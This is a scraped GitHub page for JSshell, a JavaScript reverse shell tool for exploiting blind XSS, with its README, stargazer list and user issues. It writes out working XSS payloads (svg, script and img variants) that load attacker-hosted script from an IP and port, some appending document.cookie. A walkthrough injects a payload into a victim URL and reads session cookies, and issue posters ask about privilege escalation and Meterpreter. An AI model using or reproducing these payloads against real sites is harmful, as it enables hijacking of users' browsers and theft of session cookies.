shelld3v / jsshell Goto Github PK

View Code? Open in Web Editor NEW

591.0 28.0 112.0 84 KB

JSshell - JavaScript reverse/remote shell

Python 100.00%

python shell js javascript xss python3 hacking xss-exploitation blindxss security

jsshell's Introduction

JSshell - version 3.1

JSshell - a JavaScript reverse shell. This is used for executing JS code remotely, exploiting blind XSS, ...

Requirements: Any OS + Python 2 or Python 3

New in JSshell version 3.1

Updated in the new version of JShell 3.1:

New JSshell command: snippet -> allows to write a snippet of javascript code

>>> snippet
Use CTRL+D to finish the snippet

function new() {
    new = 'New update: Support javascript snippet =)';
    confirm(new)
}

new()
>>>

Quiet mode (for professionals)
Added <body> reverse shell payload
Fixed some bugs

Usage

Generate JS reverse shell payloads: `-g`

Set the local port number for listening and generating payloads (Default: 4848): `-p`

Set the local source address for generating payloads (Default: auto-detect your IP address): `-s`

Set timeout for shell connection (if the user exits the session, the shell will be paused forever, so if your set the timeout, the shell will be closed after exceeds the timeout): `-w`

Execute a command after getting the shell: `-c`

Example usages:

jsh.py
jsh.py -g
jsh.py -p 1234
jsh.py -s 48.586.1.23 -g
jsh.py -c "alert(document.cookie)" -w 10

An example for running JSshell:

This is a step-by-step example of how to use JSshell.

First, we need to generate a reverse JS shell payload and set the shell timeout (e.g. 20 seconds):

~# whoami
root
~# ls
README.md   jsh.py
~# python3 jsh.py -g -w 20
    __
  |(_  _ |_  _  |  |
\_|__)_> | |(/_ |  |
                      v1.0

Payload:
<svg/onload=setInterval(function(){with(document)body.appendChild(createElement("script")).src="//171.224.181.106:4848"},999)>

Listening on [any] 4848 for incoming JS shell ...

Now paste this payload to the website:

https://vulnwebs1te.com/b/search?q=<svg/onload=setInterval(function(){with(document)body.appendChild(createElement("script")).src="//171.224.181.106:4848"},1248)>

Access the page and we will have the reverse JS shell:

    __
  |(_  _ |_  _  |  |
\_|__)_> | |(/_ |  |
                      v1.0

Payload:
<svg/onload=setInterval(function(){with(document)body.appendChild(createElement("script")).src="//171.224.181.106:4848"},999)>

Listening on [any] 4848 for incoming JS shell ...
Got JS shell from [75.433.24.128] port 39154 to DESKTOP-1GSL2O2 4848
$ established
$ the
$ shell
$
$
$ help
JSshell using javascript code as shell commands. Also supports some commands:
help                  This help
exit, quit            Exit the JS shell
$

Let execute some commands:

$ var test = 'controlled'
$ confirm(test)
$

And an alert will be popped up: controlled

$ prompt(document.cookie)
$

And the browser will print the user cookies: JSESSION=3bda8...

$ exit
~# whoami
root
~# pwd
/home/shelld3v
~#

Now quited!

Author

This is created by shelld3v!

jsshell's People

Contributors

Stargazers

Watchers

Forkers

idkwim materaj2 reposities bb33bb asked637 shad0w008 chanpu9 daydayup40 p-g-krish gh0st0ne zeroc00i wlly23 pinperepette 000xe4 heartsleep samouly pyking wangsz05 paintsis runningrou superdeen antichown 5l1v3r1 optionalg isabellarossi nightcap79 amine123ait ak4l3r3 davidholiday mohinparamasivam dontbanmeplz kejaly lancetw cybernhl farahjamal inosec2 gcjbr foxhaunt dinosn zpaav askyeye gavz alilouvic jefferyjeffery kuteminh11 kernelhooking wanchaigame sofienelkamel gotzillas fulanah-binti-fulanah nullcult nighthawkk zha0 mahdih010 rajivraj chengcheng227 xcatolin ifishzz popmedd huangzccn lzb960827 gysf666 cutff p0intsec fbion casping ismailh jackpot777 excloudx6 pentestba jeketchen infernalheaven brendantrainor chomikmarkus darkoneiroi yagamishadow securitystuffbackup darknesschieftain giovixo97 developercyrus kronosun kingking888 raymond-lind ramikan hxlxmjxbbxs lay0us1 m00nt0 douglasrao cihuuy marcostolosa eshad juylang tomkallo shiblisec pdolinic hum4ng0d babywyrm khushbakoff elon-msk ahmedsakrr

jsshell's Issues

The elif line 109 is broken

JSshell-master python3 jsh.py -g -w 20
File "/Users/thedude/Downloads/JSshell-master/jsh.py", line 109
elif buffer = 'snippet':

also the read me needs to be update

BRO WHAT WE CAN DO With THIS SHELL ?,this reverse SHELL DOESNOT EXECUTE SYSTEM COMMAND

help bro i think that i might upload my payload to get the system

looks like the payload are not working line 64

python3 jsh.py -s 192.168.1.1 -g
Traceback (most recent call last):
File "/Users/thedude/Downloads/JSshell-master/jsh.py", line 61, in
payload = '''
ValueError: unexpected '{' in field name

I could start listener but still could not get shell

Hello Shelld3v Team,

I just want to bring following issue to your notice.
I tried on testphp.vulnweb.com
As per given in documentation I first started listener using command python3 jsh.py -g -s http://testphp.vulnweb.com.
Then I went to browser and pasted payload in link and tried to access the page. My Url became http://testphp.vulnweb.com/search.php?test=%3Csvg/onload=setInterval(function(){with(document)body.appendChild(createElement(%22script%22)).src=%22//http://testphp.vulnweb.com:4848/?%22+document.cookie},1010)%3E
web page is opened well but I could not get shell.
Please correct me if I am doing something wrong and suggest me how should I go ahead with this .
Looking forward to hear from you.

Best Regards,

[Ashish]

The payload is missing url scheme

The generated payload needs to include http:// scheme, for example: <script>setInterval(function(){with(document)body.appendChild(createElement("script")).src="http://127.0.0.1:4444/?"+document.cookie},1010)</script>.

Hey I got some errors .Help me if possible

root@kali:/opt/JSshell# python3 jsh.py -s 192.168.91.129 -p 65001 -g
__
|(_ _ |_ _ | |
_|__)> | |(/ | |
v2.0

Payloads:

SVG: <svg/onload=setInterval(function(){with(document)body.appendChild(createElement("script")).src="//192.168.91.129:65001"},999)>
SCRIPT: <script>setInterval(function(){with(document)body.appendChild(createElement("script")).src="//192.168.91.129:65001"},999)</script>
IMG: <img src=x onerror=setInterval(function(){with(document)body.appendChild(createElement("script")).src="//192.168.91.129:65001"},999)>

Listening on [any] 65001 for incoming JS shell ...
Got JS shell from [192.168.91.1] port 61404 to kali 65001
Traceback (most recent call last):
File "jsh.py", line 148, in
main()
File "jsh.py", line 142, in main
shell()
File "jsh.py", line 75, in shell
s.bind(('192.168.91.128', 65001))
OSError: [Errno 98] Address already in use

I tried changing address and port but it didn't worked

JSshell just write commands into browser

When I try to run a javascript code, it blocks the connection until the address is opened. If I open the address, the codes does not work, just is displayed.

Not work

I am using chrome with version 109.0.5414.75 (Official Build) (64-bit) on Windows 11, here is the error message:

Persistence and Privilege Escalation

This is a good tool and it works but I dont see what the point of it is when I can execute arbitrary Javascript and get cookies with BeEF(Browser Exploitation Framework). Is there anyway I can upgrade this exploit to a meterpreter session? or some form of privelage escalation.